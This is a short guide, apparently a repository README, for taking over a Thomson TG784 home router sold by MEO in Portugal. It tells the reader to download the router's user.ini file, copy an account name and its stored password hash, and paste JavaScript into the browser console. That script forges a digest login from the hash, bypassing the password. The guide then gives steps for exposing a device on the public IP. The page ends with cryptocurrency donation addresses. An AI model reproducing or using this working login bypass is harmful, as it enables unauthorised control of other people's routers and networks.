Get access to full root user on a Router Thomson TG784

0wn_ThomsonTG784

Instruction to 0wn router Thomson TG784 (MEO - Portugal)

1- Login on page meo router: http://192.168.1.254
2- Open page: http://192.168.1.254/dl/user.ini 
3- Go to section [ mlpuser.ini ] and copy the "user" you want and the "hash2"
4- Open Console in Browser ( F12 keyboard on firefox) and fill the variables you got before and paste this code:

var user = "sumeo";
var hash2 = “alshdlkajsd";
var HA2 = MD5("GET" + ":" + uri);
document.getElementById("user").value = user;
document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce + ":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);
document.authform.submit();

5- Press EnterKey... et voilá! ;) LoggEd!
6- Now, Goto “Home Network” 
         → “Devices” 
         → Click on TARGET Host (need Dinamic IP)
         → Clic on “Assign the public IP address of a connection to a device” 
         → Just select the right Device and Finish

7- Reboot target Router/Server/PC/Device (NOT THOMSON ROUTER, maybe loose config and need do again ;)

Donate Bitcoin: 13Gr4JiWQBnhCs6AdUNapdfHVu3tG9G6zL
Donate Bitcanna: B73RRFVtndfPRNSgSQg34yqz4e9eWyKRSv